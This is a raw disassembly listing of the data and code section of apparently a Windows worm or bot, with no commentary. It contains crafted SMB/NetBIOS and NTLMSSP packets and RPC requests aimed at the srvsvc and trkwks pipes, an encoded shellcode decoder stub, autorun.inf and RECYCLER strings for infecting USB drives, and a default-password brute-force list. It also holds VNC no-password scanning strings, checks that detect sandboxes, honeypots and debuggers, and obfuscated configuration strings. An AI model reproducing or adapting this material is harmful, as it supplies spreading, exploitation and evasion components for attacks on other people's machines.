dword_43E0CC dd 158h dword_43E0D0 dd 3000005h, 10h ; sub_4066B3+3B7o
dword_43E0D8 dd 2 dup(0) ; sub_4066B3+38Do
dword_43E0E0 dd 200h, 1F0000h, 2 dup(0) ; sub_4066B3+3A4o
dword_43E0F0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43E13C dd 158h ; sub_4066B3:loc_406A02r
aWinxp_0 db 'WinXP',0 ; DATA XREF: ?9:0043E0B4o
align 4
aWinnt2k db 'WinNT+2K',0
align 4
loc_43E154: ; DATA XREF: sub_405C6A+36Do
; sub_4066B3+487o
jmp short near ptr dword_43E158
; ---------------------------------------------------------------------------
align 4
dword_43E158 dd 0 dword_43E15C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; sub_40978A+293o
dword_43E170 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeSrvsvc db '\\%s\pipe\srvsvc',0 ; DATA XREF: sub_405C6A+12Ao
; sub_405C6A+1DAo
align 4
aSPipeTrkwks db '\\%s\pipe\trkwks',0 ; DATA XREF: sub_405C6A+8Co
align 4
aSIpc_0 db '\\%s\IPC$',0 ; DATA XREF: sub_405C6A+47o
; sub_405C6A+E5o ...
align 4
dword_43E1B8 dd 2, 0 ; sub_4066B3+477o
dword_43E1C0 dd 215h, 0 ; sub_4066B3+428o
dword_43E1C8 dd 163h, 0 ; sub_4066B3+275o
dword_43E1D0 dd 1, 0 ; sub_4066B3+3C2o
aSPipeBrowser db '\\%s\PIPE\BROWSER',0 ; DATA XREF: sub_4066B3+ADo
align 4
aSPipe db '\\%s\PIPE',0 ; DATA XREF: sub_4066B3+98o
align 4
aSSSIFileS_ db '%s %s, %s: %i, File: %s.',0 ; DATA XREF: sub_406C3A+BFo
align 4
aSSIpS db '%s (%s) -> IP: (%s)',0 ; DATA XREF: sub_406D50+1FBo
; sub_406D50+22Eo ...
aSSSingleIpSSDO db '%s %s single Ip: (%s) %s: (%d) open.',0 ; DATA XREF: sub_406D50+DBo
align 10h
aSSSSStartSD db '%s %s%s: (%s), Start%s: (%d)',0 ; DATA XREF: sub_407252+74o
align 10h
aB_0 db '',0
dw 4400h
aCkfdenecfdef_2 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedca_1 db ' EKEDFEEIEDCACACACACACACACACACAAA',0
align 10h
dword_43E2C0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_407373+BEo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_43E350 dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_407373+F7o
dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h
dd 0
db 0
db 5Ch, 0D0h, 0
db 80h ; €
db 7Eh, 0, 60h
db 59h ; Y
db 2 dup(6), 2Bh
db 6
db 1, 2 dup(5)
db 2
db 0A0h, 4Fh, 30h
db 4Dh ; M
db 0A0h, 0Eh, 30h
db 0Ch
db 6, 0Ah, 2Bh
db 6
db 1, 4, 1
db 82h ; ‚
db 37h, 2 dup(2)
db 0Ah
db 0A2h, 3Bh, 4
a9ntlmssp_0 db '9NTLMSSP',0
db 1, 2 dup(0)
db 0
db 1, 2, 8
db 0
db 9, 0, 9
db 0
db 20h, 2 dup(0)
db 0
db 10h, 0, 10h
db 0
db 29h, 2 dup(0)
db 0
aWorkgrouplqp_0 db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 10h
dword_43E410 dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_407373+147o
dd 0C0750000h
dword_43E430 dd 6DD72000h, 0FF0Ch, 2FFDF00h, 100h, 0AF000000h, 0
; DATA XREF: sub_407373+134o
dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h, 4EA38104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 12000000h, 70001200h, 0
dd 82000000h, 20000000h, 82002000h, 0
dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h, 0BE16D7h
dd 3 dup(0)
db 0
db 2 dup(0), 42h
db 0AEh ; ®
db 0B7h, 1Fh, 0BBh
db 6Dh ; m
db 0C1h, 84h, 99h
db 1
aKXEcTijW_0 db 'k',8,'±xºeC',0Ah
db 'ÓšâI†)W',0
dd offset byte_52004F
dd offset byte_47004B
dd offset word_4F0052
dd offset byte_500055
dd offset dword_51006C
db 50h, 0, 78h
db 0
db 66h, 0, 32h
db 0
dd offset byte_530049
dd offset byte_670051
dd offset byte_560045
dd offset byte_620031
dd offset byte_4B0047
align 2
aWindows20002_1 db 'Windows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 8
dword_43E528 dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_407373+178o
dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh
aWindows20002_2 db 'Windows 2000 2195',0
aWindows20005_5 db 'Windows 2000 5.0',0
align 4
dword_43E598 dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_407373+1C5o
dd 0C0750000h
dword_43E5B8 dd 6DD72001h, 0FF04h, 1000000h, 0C00h, 24435049h, 3F3F3F00h
; DATA XREF: sub_407373+1B5o
dd 3F3Fh, 0
dword_43E5D8 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_407373+22Fo
dword_43E5F4 dd 4780800h dword_43E5F8 dd 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 2 dup(0)
dword_43E648 dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_407373+2ACo
dword_43E664 dd 4780800h dword_43E668 dd 400800h, 0FF0Eh db 0
byte_43E671 db 0, 40h, 0 ; DATA XREF: sub_407373+299o
dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0
dd 5020000h, 10030B00h, 0
dd 2, 0D0000000h, 16D016h, 0B000000h, 0
dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah, 1830708h
dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h
dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh
dd 833CAAD4h, 0A10315h, 4000200h, 0EB8A885Dh, 9F11C91Ch
dd 2B0008E8h, 2604810h, 3000000h, 0AD000100h, 19D89A50h
dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh
dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h
dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h, 4000300h
dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h
dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h, 216ACCDh
dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 6000000h, 5B000100h, 0E19ACBDEh, 1F728325h, 92A2A310h
dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh
dd 0C3573B8h, 1685206h, 4000000h, 0EB8A885Dh, 9F11C91Ch
dd 2B0008E8h, 2604810h, 8000000h, 0E5000100h, 0E1EA256Ch
dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh
dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h
dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h
dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h
dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh
dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
dd 2 dup(0)
dword_43E890 dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0)
; DATA XREF: sub_407373+31Do
dword_43E8AC dd 4780800h dword_43E8B0 dd 400800h, 0FF0Ah db 0
byte_43E8B9 db 0, 40h, 0 ; DATA XREF: sub_407373+30Do
dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0)
dword_43E8D0 dd 0FB020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_407373+507o
dword_43E8EC dd 4780800h dword_43E8F0 dd 400800h, 0FF0Eh db 0
byte_43E8F9 db 0, 40h, 0 ; DATA XREF: sub_407373+37Eo
dd 0FF000000h, 8FFFFFFh, 2BC00h, 3F02BC00h, 0
dd 502BC00h, 10030000h, 0BC000000h, 2, 0A4000000h, 0A000002h
dd 79001F00h, 3941FA0h, 0
dd 3000000h, 59000000h, 4C00h, 31000000h, 1, 31000000h
dd 5C000001h, 6E554600h, 76454C4Dh, 6A7A4E64h, 7A58746Eh
dd 6376416Eh, 7644534Fh, 556C5563h, 4A464C4Ch, 4350436Dh
dd 65676A6Dh, 44627058h, 74414943h, 5254446Ah, 79784150h
dd 58744958h, 78446643h, 58526A76h, 79535774h, 63714341h
dd 577A7250h, 55616548h, 6F72664Bh, 75456E68h, 555A7953h
dd 627A507Ah, 42A94365h, 15D53846h, 0A89B2567h, 3F9747B9h
dd 37B92B1h, 56696FCh, 91B68D04h, 0FD30B49Fh, 4A411D2Ch
dd 3448B3B0h, 4E4FF9B8h
db 0F5h
byte_43E9E1 db 31h, 0C9h, 83h ; DATA XREF: sub_407373+393o
dd 0FFE8ADE9h, 0C0FFFFFFh, 0E76815Eh, 9794BB22h, 0E2FCEE83h
dd 0C07FA3F4h, 1544DD65h, 6B44D273h, 7FD1DE68h, 6B42CADAh
dd 1FDBDD68h, 1F9F06FBh, 0E8301ED2h, 7BBA5A92h, 1FA36D1Ch
dd 7FBA02C8h, 1F8FA9DEh, 548ACC96h, 543F8E0Eh, 5E7A25E3h
dd 7F79239Ah, 0B0EF1963h, 1F5E57BFh, 7FBA06C8h, 0DFB7A9F1h
dd 95A77D1Ch, 1F97217Ch, 889F4E1Eh, 4F8AE1F6h, 0A4F8A9F3h
dd 1FB7621Ch, 1F163EE7h, 0FCE52AD7h, 78B56C19h, 0F26DDDC7h
dd 0A7D344C4h, 0E7CC4AA5h, 6BEF7DA5h, 79704A47h, 6BEB196Bh
dd 71327D41h, 9C56A3F1h, 96D17795h, 4DD3F268h, 0C316D79Eh
dd 0C7E8F468h, 0D7E871C4h, 6BE861C4h, 85D34447h, 1DE844CBh
dd 30D3B776h, 0C37C528Dh, 84D1F468h, 444477C6h, 0BA1686FFh
dd 4244757Eh, 77C4h, 1Ah dup(0)
dd 6B000000h, 44447041h, 7475CDFFh, 424471F7h, 94BBF268h
dd 2E005C97h, 5C002E00h, 2E002E00h, 41005C00h, 48004F00h
dd 4D004C00h, 59005800h
db 0
byte_43EB61 db 0DEh, 0ADh, 0BEh ; DATA XREF: sub_407373+3A4o
db 0EFh
byte_43EB65 db 0BAh, 0DEh, 0C0h ; DATA XREF: sub_407373+3A9o
dd 544950DEh
db 48h
byte_43EB6D db 0FEh, 0EDh, 0FAh ; DATA XREF: sub_407373+3AEo
dd 4A4649CEh, 54554F55h, 57555045h, 574D584Bh, 48475558h
dd 4B45494Dh, 4E455943h, 50514142h, 44455A4Ch, 424F4F4Eh
dd 0BA574D47h, 0D5853DB3h, 0EB4AF81Bh, 435A4D62h, 484C5754h
dd 495759h, 9A000000h, 2000001h, 0
dd 2000000h, 5C000000h, 1000000h, 10h, 2 dup(0)
dword_43EBD4 dd 1F1CB0h dword_43EBD8 dd 1F1CB0h dword_43EBDC dd 20408h, 1 dword_43EBE4 dd 1001361h dword_43EBE8 dd 1001361h dword_43EBEC dd 20408h, 2 dword_43EBF4 dd 6F88F727h dword_43EBF8 dd 6F8916E2h dword_43EBFC dd 20408h, 3 dword_43EC04 dd 6F88F807h dword_43EC08 dd 6F8917C2h dword_43EC0C dd 20408h, 4 dword_43EC14 dd 100129Eh dword_43EC18 dd 100129Eh dword_43EC1C dd 20408h, 5 dword_43EC24 dd 71BF21A2h dword_43EC28 dd 71BF21A2h dword_43EC2C dd 20408h, 6 dword_43EC34 dd 71BF3969h dword_43EC38 dd 71BF3969h dword_43EC3C dd 20408h, 7, 5860F727h, 586116E2h, 20408h, 8, 58FBF727h
; DATA XREF: sub_407373+4D7o
dd 58FC16E2h, 20408h
dword_43EC60 dd 158h dword_43EC64 dd 7475615Ch, 6E75726Fh, 666E692Eh, 0aShellOpenDefau db 0Dh,0Ah ; DATA XREF: sub_40797B+406o
db 'shell\open\default=1',0
align 10h
aIconSystemroot db 0Dh,0Ah ; DATA XREF: sub_40797B+3EEo
db 'icon=%SystemRoot%\system32\SHELL32.dll,4',0Dh,0Ah
db 'action=Open folder to view files',0Dh,0Ah
db 'shell\open=Open',0Dh,0Ah
db 'shell\open\command=',0
align 4
aAutorunOpen db '[autorun]',0Dh,0Ah ; DATA XREF: sub_40797B+3D5o
db 'open=',0
align 4
a_shellclassinf db '[.ShellClassInfo]',0Dh,0Ah ; DATA XREF: sub_40797B+2CDo
db 'CLSID={645FF040-5081-101B-9F08-00AA002F954E}',0
aDesktop_ini db '\Desktop.ini',0 ; DATA XREF: sub_40797B+296o
align 4
aSDDDDDDDDDDDDD db '\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d%d%d%'
; DATA XREF: sub_40797B+246o
db 'd%d%d%d%d-%d%d%d%d',0
aRecycler db '\RECYCLER',0 ; DATA XREF: sub_40797B+74o
align 4
aSInfectedUsbDr db '%s Infected USB drive: %s',0 ; DATA XREF: sub_407E1C+77o
align 8
off_43EDE8 dd offset byte_454A34 ; DATA XREF: ?9:00409616r ?9:00409622o
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset aLetmein ; "letmein"
dd offset aAdmin_1 ; "admin"
dd offset aAdministrator ; "Administrator"
dd offset a1234567 ; "1234567"
dd offset aPassword ; "password"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset aArsenal ; "arsenal"
dd offset aMonkey ; "monkey"
dd offset aCharlie ; "charlie"
dd offset off_43D970
dd offset aPass_1 ; "pass"
dd offset aMaster ; "master"
dd offset aQwerty ; "qwerty"
dd offset a12345678 ; "12345678"
dd offset a654321 ; "654321"
dd offset aAbc123 ; "abc123"
dd offset aThomas ; "thomas"
align 10h
dd 66B5217h
aNxSystemrootSy db '#NX',7,'%systemroot%\system32\cmd.exe',0
align 4
aExit db 'exit',0
align 10h
word_43EE70 dw 1 ; DATA XREF: sub_407FFA+24r
; ?9:00408183r
align 4
word_43EE74 dw 4 ; DATA XREF: sub_407FFA+10r
align 4
dword_43EE78 dd 64257325h, 64256425h, 652E6425h, 6578hdword_43EE88 dd 6325h, 0 aSSSSDSSSSSSS_0 db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s'
; DATA XREF: ?9:0040875Do ?9:00408A86o ...
db ' %s %s >> %s %s%s %s %s %s',0Dh,0Ah,0
align 10h
aSSSSDSSSSSSSSS db '%s %s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s'
; DATA XREF: ?9:004086CCo ?9:004089E4o ...
db ' %s%s %s %s %s',0Dh,0Ah,0
align 4
aS_5 db '%s',0 ; DATA XREF: ?9:00408555o
; sub_408B6A+2C9o ...
align 4
aVncD_DSNopass db 'VNC%d.%d: %s - (NoPass)',0 ; DATA XREF: ?9:0040852Ao
; sub_408B6A+29Eo
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ?9:0040838Co
; ?9:004083BAo ...
align 10h
word_43EF70 dw 72h ; DATA XREF: ?9:004081ADr
; sub_408B6A+25r ...
align 4
word_43EF74 dw 63h ; DATA XREF: ?9:004081A0r
; sub_408B6A+3Er ...
align 4
loc_43EF78: ; DATA XREF: ?9:0040818Ao
; sub_408B6A+2Eo
jmp ebx
; ---------------------------------------------------------------------------
align 4
dword_43EF7C dd 0DFFh ; sub_408B6A+1Ao
dword_43EF80 dd 0EBFFh ; sub_408B6A+Eo
dword_43EF84 dd 201h dword_43EF88 dd 20424652h, 2E333030h, 0A383030h, 0aVncD_DSS db 'VNC%d.%d: %s - %s',0 ; DATA XREF: sub_408B6A+797o
align 10h
dword_43EFB0 dd 158h dword_43EFB4 dd 0D0EC8166h, 7dword_43EFBC dd 129F74h, 0 dword_43EFC4 dd 127D78h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_43EFD0 proc near ; DATA XREF: sub_40978A+D1o
; FUNCTION CHUNK AT 0043EFD6 SIZE 00000043 BYTES
pusha
jmp short loc_43EFD6
sub_43EFD0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43EFD3 proc near ; CODE XREF: sub_43EFD0:loc_43EFD6p
pop ebx
push ebx
retn
sub_43EFD3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43EFD0
loc_43EFD6: ; CODE XREF: sub_43EFD0+1j
call sub_43EFD3
xor eax, eax
add al, 34h
add eax, ebx
push eax
pop ebx
loc_43EFE3: ; CODE XREF: sub_43EFD0+3Cj
xor edx, edx
add dl, [eax]
inc eax
add dh, [eax]
inc eax
push eax
xor eax, eax
add al, 41h
sub dl, al
sub dh, al
shl dl, 4
shr dx, 4
xor eax, eax
xor dh, dh
add al, [ebx]
sub [ebx], al
add [ebx], dx
inc ebx
pop eax
xor ecx, ecx
add cl, [eax]
loopne loc_43EFE3
popa
loc_43F00F: ; DATA XREF: sub_40978A+B0r
add [ebx+31h], al
loc_43F012: ; DATA XREF: sub_40978A+AAr
mov ebp, 7FC77h
loc_43F017: ; DATA XREF: sub_40978A:loc_409A79r
; sub_40978A+319r ...
add [ecx], al
; END OF FUNCTION CHUNK FOR sub_43EFD0
; ---------------------------------------------------------------------------
db 3 dup(0)
db 43h
; ---------------------------------------------------------------------------
loc_43F01D: ; CODE XREF: ?9:0043F01Fj
xor eax, eax
ja short loc_43F01D
pop es
; ---------------------------------------------------------------------------
dw 0
dd 1, 77BB1F89h, 7FCh, 1, 77C01F89h, 7FCh, 1, 655B4F02h
dd 7E7h
dword_43F048 dd 0 ; ---------------------------------------------------------------------------
sub [ecx+77h], ecx
sub ecx, [ecx-1Eh]
ja short near ptr byte_43F0A1
retf
; ---------------------------------------------------------------------------
dw 77E3h
dd 7518A747h, 77BD3143h
dword_43F060 dd 158h dword_43F064 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: sub_40978A+255o
dword_43F078 dd 65706970h, 736B775Ch, 637673haNetvalidatenam db 'NetValidateName',0 ; DATA XREF: sub_409EB3+15o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409EB3+Ao
; sub_41729C:loc_417DA9o
byte_43F0A1 db 3 dup(0) ; CODE XREF: ?9:0043F053j
dword_43F0A4 dd 4000500h, 7868746Bh, 0dword_43F0B0 dd 54207325h, 20505446h, 25203E2Dh, 73h ; ?9:0040A4ADo
dword_43F0C0 dd 736E495Ch, 54656469h, 5C6DhaImail8_001531N db '(IMail 8.00 153-1) NT-ESMTP Server X1',0 ; DATA XREF: sub_40A633+64o
align 4
aNepenthes db 'nepenthes',0 ; DATA XREF: sub_40A633+5Do
align 10h
aCurrentuser db 'currentuser',0 ; DATA XREF: sub_40A633+56o
aVmware db 'vmware',0 ; DATA XREF: sub_40A633+4Fo
align 4
aHoneymule db 'HoneyMule',0 ; DATA XREF: sub_40A633+48o
align 10h
aHoneyd db 'honeyd',0 ; DATA XREF: sub_40A633+41o
align 4
aHoneyc db 'honeyc',0 ; DATA XREF: sub_40A633+3Ao
align 10h
aHoney db 'honey',0 ; DATA XREF: sub_40A633+33o
align 4
aSnort db 'snort',0 ; DATA XREF: sub_40A633+2Co
align 10h
aSandbox db 'Sandbox',0 ; DATA XREF: sub_40A633+25o
aRoo db 'roo',0 ; DATA XREF: sub_40A633+1Eo
aTu4nh09smcg1hc db 'TU-4NH09SMCG1HC',0 ; DATA XREF: sub_40A633+15o
aShowtray db 'ShowTray',0 ; DATA XREF: sub_40A708+E8o
align 4
aInstallpath db 'InstallPath',0 ; DATA XREF: sub_40A708+CEo
aSoftwareVmware db 'SOFTWARE\VMware, Inc.\VMware Tools',0 ; DATA XREF: sub_40A708+C9o
align 4
aDaemon db 'DAEMON',0 ; DATA XREF: sub_40A708:loc_40A77Eo
align 10h
aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: sub_40A708:loc_40A741o
align 4
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_40A708+1Eo
align 4
aDJstMfgyq_ db 'd/Jst/MFgyQ.',0 ; DATA XREF: sub_40A938+F41o
; sub_4155B9+159o
align 4
aErwc30qfw_p0 db 'eRWc30Qfw.P0',0 ; DATA XREF: sub_40A938+1084o
; sub_40A938+4611o ...
align 4
a86tb1fspjg0 db '86tb/1FSpjg0',0 ; DATA XREF: sub_40A938+CA6o
; sub_4155B9+172o
align 4
aPlsymAee6v1 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_40A938+4D0o
; sub_4155B9+17Do
align 4
aDehziSaO0 db 'deHZI/SA//o0',0 ; DATA XREF: sub_40A938+22o
; sub_40A938:loc_40AD49o ...
align 4
aOb4iqKj5ue_ db 'Ob4iQ/KJ5ue.',0 ; DATA XREF: sub_40A938+5Eo
; sub_40A938+C70o ...
align 4
aNfknl0nqigy0 db 'NFKNL0nQigY0',0 ; DATA XREF: sub_40A938+E67o
; sub_4155B9+19Eo
align 4
aE0idd0rdw2u db 'e0idD0RDw2U/',0 ; DATA XREF: sub_40A938+C8Bo
; sub_4155B9+1A9o
align 4
aEuior0ay2w7__0 db 'EUIOR0ay2w7.',0 ; DATA XREF: sub_40A938+33o
; sub_40A938+88Co ...
align 4
aPdazx1odsoh0 db 'PDazX1oDSOh0',0 ; DATA XREF: sub_40A938+A07o
; sub_4155B9+1BFo
align 4
aUc6wg1ovwvt1 db 'uc6Wg1OvWVt1',0 ; DATA XREF: sub_40A938+44o
; sub_40A938:loc_40B35Ao ...
align 4
aDj9owUmrbd_ db 'dJ9OW/uMRBD.',0 ; DATA XREF: sub_40A938+46Do
; sub_4155B9+1D8o
align 4
aP00ls0k4t_n1 db 'P00Ls0K4t.N1',0 ; DATA XREF: sub_40A938+630o
; sub_4155B9+1E3o
align 4
aL3nyw_d7tfl_ db 'l3nYW.D7Tfl.',0 ; DATA XREF: sub_40A938+562o
; sub_4155B9+1EEo
align 4
aQc9zs1zgzff0 db 'Qc9zS1zGZff0',0 ; DATA XREF: sub_40A938+2816o
; sub_4155B9+1F9o
align 4
aWpuwr_6yfru db 'WpuWr.6YFRU/',0 ; DATA XREF: sub_40A938+2844o
; sub_4155B9+204o
align 4
a4rmbzFcic21 db '4RmBz/FCic21',0 ; DATA XREF: sub_40A938+2948o
; sub_4155B9+20Fo
align 4
aSc_coSwlk_ db 'SC.Co/swLK/.',0 ; DATA XREF: sub_40A938+296Bo
; sub_4155B9+21Ao
align 4
aSud8hRsu8j1 db 'sUd8h/rsu8j1',0 ; DATA XREF: sub_40A938+270o
; sub_40A938+4705o ...
align 4
aJ2yyw_j09xc db 'j2yYw.J09XC/',0 ; DATA XREF: sub_40A938+281o
; sub_40A938+47F2o ...
align 4
a43ucs0rkqux_ db '43uCS0rkQUx.',0 ; DATA XREF: sub_40A938+4974o
; sub_4155B9+386o
align 4
aJc8j0_blhir0 db 'jC8j0.blHIr0',0 ; DATA XREF: sub_40A938+498Do
; sub_4155B9+394o
align 4
aPiygc_bgpyh_ db 'PIYGC.BgPyH.',0 ; DATA XREF: sub_40A938+4A17o
; sub_4155B9+39Fo
align 4
a7bqzu_aqz2u_ db '7bQzU.aQz2u.',0 ; DATA XREF: sub_40A938+4BDBo
; sub_4155B9+3AAo
align 4
aSar5v0jloic0 db 'saR5v0JloIc0',0 ; DATA XREF: sub_40A938+4C1Fo
; sub_4155B9+3B5o
align 4
aX43mxEgedu_ db 'x43Mx/eGeDu.',0 ; DATA XREF: sub_40A938+4C9Co
; sub_4155B9+3C0o
align 4
aIsopf_pu4ty0 db 'IsoPF.PU4tY0',0 ; DATA XREF: sub_40A938+4D19o
; sub_4155B9+3CBo
align 4
a98mu_Nedn7_ db '98mu./nEdn7.',0 ; DATA XREF: sub_40A938+4E89o
; sub_4155B9+3D6o
align 4
aVdirq_mjcpx1 db 'vDIrQ.MJcpx1',0 ; DATA XREF: sub_40A938+5021o
; sub_4155B9+3E1o
align 4
aSad25HpR91 db 'Sad25/hP/R91',0 ; DATA XREF: sub_40A938+50CCo
; sub_4155B9+3EFo
align 4
aVsz2xXqjp5 db 'Vsz2x/xqJP5/',0 ; DATA XREF: sub_40A938+B5Eo
; sub_4155B9+3FAo
align 4
aPnb_aBfzu60_0 db 'pNb.a/Bfzu60',0 ; DATA XREF: sub_40A938+1AA5o
; sub_4155B9+405o
align 4
aI7atf_8Tag1 db 'i7Atf.8/tag1',0 ; DATA XREF: sub_40A938+1B74o
; sub_4155B9+410o
align 4
aDo5oa0u5m7_ db 'dO5oA/0U5m7.',0 ; DATA XREF: sub_40A938+18B5o
; sub_4155B9+41Bo
align 4
aS3dyJzo6r_0 db 's3dY//JZo6r/',0 ; DATA XREF: sub_40A938+18A4o
; sub_4155B9+426o
align 4
aKe3l20ufrlq0 db 'kE3L20Ufrlq0',0 ; DATA XREF: sub_40A938+18C6o
; sub_4155B9+431o
align 4
aVp1weJvqbn_ db 'VP1WE/JVQbn.',0 ; DATA XREF: sub_40A938+FBo
; sub_40A938+1C13o ...
align 4
aUaxwg1w8vsp0qr db 'UaxWg1w8vSP0QRn4z10ge1I1',0 ; DATA XREF: sub_40A938+1CF2o
; sub_4155B9+44Ao
align 10h
aQbwgd0cfxf_ db 'qbwGd0CFxf./',0 ; DATA XREF: sub_40A938+114o
; sub_40A938+1D0Bo ...
align 10h
a2mo7g0_b0qj db '2mo7G0.B0qj/',0 ; DATA XREF: sub_40A938+125o
; sub_40A938+1D1Co ...
align 10h
a47ff020f_0_ db '47Ff/020f.0.',0 ; DATA XREF: sub_40A938+A0o
; sub_40A938+1D2Do ...
align 10h
aHyomeIovtv_ db 'HyOMe/iovtV.',0 ; DATA XREF: sub_40A938+8Ao
; sub_40A938+1E44o ...
align 10h
aPlsymAee6v1_0 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_40A938+1EECo
; sub_4155B9+481o
align 10h
aCwxyh0ryouv1 db 'CwXYh0RYoUv1',0 ; DATA XREF: sub_40A938+1F2Bo
; sub_4155B9+48Co
align 10h
aEavyh_ic0dc0 db 'eAvYh.IC0dc0',0 ; DATA XREF: sub_40A938+1F67o
; sub_4155B9+497o
align 10h
aUz3rf_vtkug1 db 'uz3rf.VTKug1',0 ; DATA XREF: sub_40A938+2022o
; sub_4155B9+4A5o
align 10h
aMaeyv0bdsgj0 db 'MAEyv0BdSGj0',0 ; DATA XREF: sub_4155B9+4B0o
align 10h
aI3ncg_v5u4g_ db 'I3nCG.v5U4g.',0 ; DATA XREF: sub_4155B9+4BBo
align 10h
a9bwj__lz2my0 db '9bWj..lZ2My0',0 ; DATA XREF: sub_40A938+136o
; sub_40A938+2159o ...
align 10h
aRiocl1kztwo0 db 'rioCl1kzTWO0',0 ; DATA XREF: sub_40A938+292o
; sub_40A938+1725o ...
align 10h
a_swwg1hqeii1 db '.SWwg1hqeiI1',0 ; DATA XREF: sub_40A938+188Bo
; sub_4155B9+4DCo
align 10h
aG3obv_r6j7h db 'g3obv.r6j7H/',0 ; DATA XREF: sub_40A938+B6o
; sub_40A938+F2Fo ...
align 10h
aM5spx_qp7lx_ db 'M5sPX.Qp7Lx.',0 ; DATA XREF: sub_40A938+CCo
; sub_40A938+10ADo ...
align 10h
aItx_n_wpamx_ db 'ITx.N.WPAmx.',0 ; DATA XREF: sub_40A938+1160o
; sub_4155B9+500o
align 10h
aLndk50vzcqw0 db 'LNdk50vzCqW0',0 ; DATA XREF: sub_40A938+1407o
; sub_4155B9+50Bo
align 10h
a9ljbh07crkd_ db '9lJBH07crkD.',0 ; DATA XREF: sub_40A938+E2o
; sub_40A938+15E1o ...
align 10h
aAjttz06ztse1 db 'ajTtz06Ztse1',0 ; DATA XREF: sub_40A938+230Co
; sub_4155B9+521o
align 10h
aUn3hk0sn58o db 'uN3hk0sn58o/',0 ; DATA XREF: sub_40A938+232Fo
; sub_4155B9+52Co
align 10h
